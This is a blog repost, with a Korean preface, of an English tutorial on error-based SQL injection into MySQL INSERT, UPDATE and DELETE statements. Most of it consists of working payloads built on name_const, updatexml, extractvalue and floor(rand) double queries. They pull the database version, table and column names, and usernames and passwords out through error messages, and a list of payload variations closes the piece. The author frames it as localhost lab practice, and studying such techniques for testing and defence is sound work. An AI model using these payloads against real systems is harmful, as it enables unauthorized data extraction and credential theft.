sql Injection in Insert, Update and Delete clause(error based)

source : https://osandamalith.wordpress.com/2014/04/26/injection-in-insert-update-and-delete-statements/

가 출처이고, 상당히 유용한 내용인것 같아서 통째로 가져옴...... 일부 공부하면서 정리 예정.

Injection in Insert, Update and Delete Statements

• 10 Comments

Introduction

Most of the time when we talk about SQL injection we extract data by using the union keyword, error based, blind boolean and time based injection methods. All this come under a place where the application is performing a select statement on the back-end database. How to inject into places where the application is performing an insert, update, delete statement? For example insert statements are used in applications when they want to store ip addresses, user agents, referrer urls and stuff in the database. While manipulating with user accounts when creating a new password, changing names, deleting accounts these statements are used. Not only just user input if we can fuzz around into whatever the application is taking as input and if they aren’t properly sanitized to filter we can go ahead and inject (Assuming that there are no WAFs or any blacklists). This post is based on the MySQL error response. In the web application mysql_error() should be echoed back to us.

Lab Setup

Let’s create a database first by the name `newdb` and create one sample table to practice our injections. Stick to your localhost. Don’t go ahead and test against live websites without any permissions. I take no responsibility for any damage you cause.

1 2 3 4 5 6 7 8 9

Create database newdb; use newdb CREATE TABLE users         (         id int(3) NOT NULL AUTO_INCREMENT,         username varchar(20) NOT NULL,         password varchar(20) NOT NULL,         PRIMARY KEY (id)         );

If you describe the table it should be something like this.

 Syntax for Injecting

Now let’s insert some sample data into our database. The syntax would be

1	insert into users (id, username, password) values (1, 'Jane', 'Eyre');

The above query uses single quotes. So keep in mind that we have to inject like this.

1 2	insert into users (id, username, password) values(1, ' 'Inject Here' ', 'Eyre');

If the query uses double quotes the injection should too use double quotes.

1 2 3

insert into users (id, username, password) values (1, " "Inject Here " ", "Eyre ");

The same applies to update and delete statement. You can get to know about the syntax by breaking the statement. Note that in these kinds of injections MySQL comments like –, # won’t comment out the rest of the query, they are also taken as normal characters.

Injection Using name_const()

We can inject using the name_const() function like this.

1	insert into users (id, username, password) values (1,''*(select*from(select(name_const(version(),1)),name_const(version(),1))a)* '', 'Eyre');

As expected this query returns the error with the version.

1	ERROR 1060 (42S21): Duplicate column name '5.5.35-0ubuntu0.12.04.1'

The update and delete statements would be in the exact same format.

1 2 3

update users set password=''*(select*from(select(name_const(version(),1)),name_const(version(),1))a)* '' where id=2 and username='Nervo';

1 2	delete from users where id=''*(select*from(select(name_const(version(),1)),name_const(version(),1))a)* '';

In latest version of MySQL you can only get the version out of the name_const function. It’s okay there are plenty more methods to extract data ;)

Injection using updatexml()

If you know about XPATH injections you can use that knowledge in here :) Usually we use the updatexml() and extractdata() functions. The same can be used in here. Assuming that you know about XPATH injections I will proceed.
Our payload would be

1	' or updatexml(1,concat(0x7e,(version())),0) or'

Insert

1 2	insert into users (id, username, password) values (1,'' or updatexml(1,concat(0x7e,(version())),0) or'', 'Eyre');

1	ERROR 1105 (HY000): XPATH syntax error: '~5.5.35-0ubuntu0.12.04.1'

Update

1 2 3

update users set password='' or updatexml(1,concat(0x7e,(version())),0) or'' where id=2 and username='Nervo';

Delete

1 2	delete from users where id='' or updatexml(1,concat(0x7e,(version())),0) or'';

Extraction of Data

For the sake of this article I will explain about dumping data only using the insert statement. There is no change in update and delete statements, just follow the exact same way.
For extracting the tables from information_schema database we can build our payload like this

1	' or updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '

Our final query would be

1 2 3 4

insert into users (id, username, password) values (1,'' or updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '', 'Eyre');

The columns would be like this. In my case the table_name would be users.

1 2 3 4

insert into users (id, username, password) values (1,'' or updatexml(0,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0) or '', 'Eyre');

Let’s dump the first entry in the users table using insert and delete.

1	insert into users (id, username, password) values (1,'' or updatexml(0,concat(0x7e,(select concat_ws(':',id, username, password) from users limit 0,1)),0) or '', 'Eyre');

1	ERROR 1105 (HY000): XPATH syntax error: '~1:Jane:Eyre'

1 2 3

delete from users where id='' or updatexml(0,concat(0x7e,(select concat_ws(':',id, username, password) from users limit 0,1)),0) or '';

You can retrieve tables, columns using the updatexml() function in insert, update and delete statements. However you cannot dump data using the update statement if you are in the same table. For example now I am in the users table. If I run this query

1 2 3

update users set password='' or updatexml(1,concat(0x7e,(select concat_ws(':',id, username, password) from newdb.users limit 0,1)),0) or'' where id=2 and username='Nervo';

This won’t give out any data because we are trying to use the target database for dumping data. In these kinds of scenarios you the target database should be different. Once again for the sake of this article create a new database as students with the columns id, name, address and insert some values.
Now if the injection point was in the students table we can dump data from the other tables except from the table itself. This applies to the update statement only.

1 2 3

update students set name='' or updatexml(1,concat(0x7e,(select concat_ws(':',id, username, password) from newdb.users limit 0,1)),0) or'' where id=1;

1	ERROR 1105 (HY000): XPATH syntax error: '~1:Jane:Eyre'

If you are stuck in the update statement injection you can use double query injection for that. I have discussed in the next few titles.

Injection Using extractvalue()

This function can be used in XPATH injections too. However our payload using this function would like this.

1	' or extractvalue(1,concat(0x7e,database())) or'

Insert

We can apply in the insert statement like this.

1 2	insert into users (id, username, password) values (1,'' or extractvalue(1,concat(0x7e,database())) or'', 'Eyre');

Update

1 2 3

update users set password='' or extractvalue(1,concat(0x7e,database())) or'' where id=2 and username='Nervo';

Delete

1	delete from users where id='' or extractvalue(1,concat(0x7e,database())) or'';

Extraction of Data

Follow the same method as discussed in updatexml() function. This is an example of retrieving all the table from the information_schema database.

1	insert into users (id, username, password) values (1,'' or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or'', 'Eyre');

As mentioned above the final query to dump the username and password would be

1 2	delete from users where id='' or extractvalue(1,concat(0x7e,(select concat_ws(':',id, username, password) from users limit 0,1))) or'';

In dumping the same rules apply to insert, update and delete as mentioned above in updatexml() method. Read it first.

Double Query Injection

We can directly extract data from the database by using double query injection. However in MySQL there is no such thing as double queries. This can also be called as sub query injection. All we are trying to do is retrieve data in the form of an error. We can also define as error based injection.

Insert

1 2	insert into users (id, username, password) values (1,'' or (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or'', 'Eyre');

1	ERROR 1062 (23000): Duplicate entry '~'newdb'~1' for key 'group_key'

Update

1 2 3

update users set password='' or (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)or'' where id=2 and username='Nervo';

Delete

1 2 3

delete from users where id='' or (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)or'' ;

Extracting Data

I assume you know about error based injections. We can easily dump the table names like this. Read through the query if it is hard to understand at a glance.

1 2

insert into users (id, username, password) values (1,'' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or '', 'Eyre');

1	ERROR 1062 (23000): Duplicate entry '~'students'~1' for key 'group_key'

Columns names can be dumped in this manner. In my case the table is users and the database is newdb.

1 2

insert into users (id, username, password) values (1, '' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=database() AND table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or '', 'Eyre');

1	ERROR 1062 (23000): Duplicate entry '~'id'~1' for key 'group_key'

Use the limit function to go forward.

Finally the usernames and passwords which is our secret data can be extracted like this.

1 2

insert into users (id, username, password) values (1, '' or (select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) or '', 'Eyre');

1	ERROR 1062 (23000): Duplicate entry '~'Jane'~1' for key 'group_key'

The same applies to update and delete. You can inject using error based injection to those two statements too. There is no change follow the same syntax.

Other Variations

I’ve noticed some variations in our payload. I thought of sharing with you. You can inject using these methods too.

1 2 3 4 5 6 7

‘ or (payload) or ‘ ‘ and (payload) and ‘ ‘ or (payload) and ’ ‘ or (payload) and ‘=’ ’*  (payload)   *‘ ‘ or (payload) and ’ ‘’ – (payload) – ‘’